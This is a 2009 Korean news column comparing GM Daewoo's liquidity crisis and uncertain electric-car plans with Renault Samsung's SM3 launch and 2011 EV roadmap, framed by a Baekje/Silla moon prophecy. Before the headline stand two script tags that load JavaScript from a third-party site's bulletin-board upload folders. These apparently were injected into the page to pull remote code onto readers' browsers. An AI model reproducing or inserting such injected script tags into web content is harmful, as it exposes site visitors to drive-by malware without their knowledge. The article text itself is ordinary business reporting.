<SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/gallery/Cups.js></script> <SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/young/brod.js></script> [취재수첩]GM대우는 보름달과 같고, 르노삼성은 초승달과 같다
경제투데이 이 대준 기자
ppokl99@eto.co.kr 최종수정 : 2009-05-19 18:16
문헌에 나온 백제와 신라의 흥망에 대한 예언을 각색해봤다.
백제 의자왕 시절 백마강 주변에 거북이가 나타났는데, 거북이 등에 \"백제는 보름달이고 신라는 초승달과 같다\"라는 문구가 적혀 있었다. 꽉찬 보름달은 점점 기울어 백제 국력이 쇠약해지고, 눈썹 모양의 초승달은 갈수록 차올라 신라가 흥할 것이란 뜻.
르노삼성은 2011년 전기차 양산 계획을 발표하며 미래형 친환경차 로드맵을 제시했다.
그러나 GM대우는 GM의 전기차 \'볼트\', 수소연료 전지차 \'에퀴녹스\', 플러그 인 하이브리드차 등을 국내에 언제 출시할지 정해진 것이 없다. GM 파산 보호 절차 여부와 산은이 GM대우에 자금을 지원할지 여부에 따라 변화가 불가피하기 때문이다.
GM대우는 지난 2002년 10월 출범했다. 르노삼성은 앞선 2000년 9월 SM5를 선보이며 출범했다. 양사 모두 GM과 르노라는 외국 완성차업체들과 손을 잡았다는 점에서는 똑같다. 하지만 2009년 현재 양사의 명암은 엇갈리고 있다.
GM대우는 심각한 유동성 위기에 직면했다. 미국의 본사 GM은 6월 1일까지 정부에 제출할 구조조정 계획안에 따라 파산 여부가 결정된다. 그때까지 노조와 채권단의 동의를 얻어 강도 높은 계획안을 마련하지 못할 경우 그렇다.
상황이 이렇다 보니 GM은 GM대우 스스로가 유동성 위기를 극복하라는 방침을 전달했다. GM대우는 6월 만기 선물환 일부를 연장했지만, 산은의 자금 지원 없이는 자립이 어려운 형편이다. 설상가상으로 야심차게 준비한 라세티 프리미어가 변속기 문제로 소비자들에게 빈축을 사고 있어, 판매 및 브랜드 이미지에 적잖은 영향을 주고 있다.
산은은 GM대우의 지분 확대 방안 등을 검토하며, 미국 정부의 GM 처리 방안을 예의주시 하고 있다. 앞으로 2주일 정도면 GM은 물론 GM대우의 운명이 결정될 것으로 전망된다.
반면 르노삼성은 지난 18일 부산공장에서 \'뉴 SM3\' 양산을 개시했다. 하반기 출시를 위한 준비가 착착 진행되고 있는 것.
장 마리 위르띠제 르노삼성 사장은 지난 4월부터 2달 동안 부산공장과 기흥연구소 등을 둘러보며 \'현장 경영\'에 박차를 가하고 있다. 현장의 목소리를 듣고, 직원들을 격려하고 뉴 SM3 출시에 차질이 없도록 만반의 준비를 하는 모습이다.
아울러 르노삼성은 2011년 10월경 준중형급 전기차를 양산할 계획이다. 준중형 세단을 통해 판매를 늘리고, 전기차를 통해 미래형 친환경차 시장을 적극 공략하겠다는 전략.
한국자동차공업협회에 따르면 GM대우는 지난해 내수와 수출을 포함해 총 81만9436대, 르노삼성은 19만7024대를 판매했다. 현대차, 기아차에 이어 국내 3위 판매를 자랑하는 GM대우의 현주소를 지켜보노라면 백제와 신라가 연상되는 것은 왜일까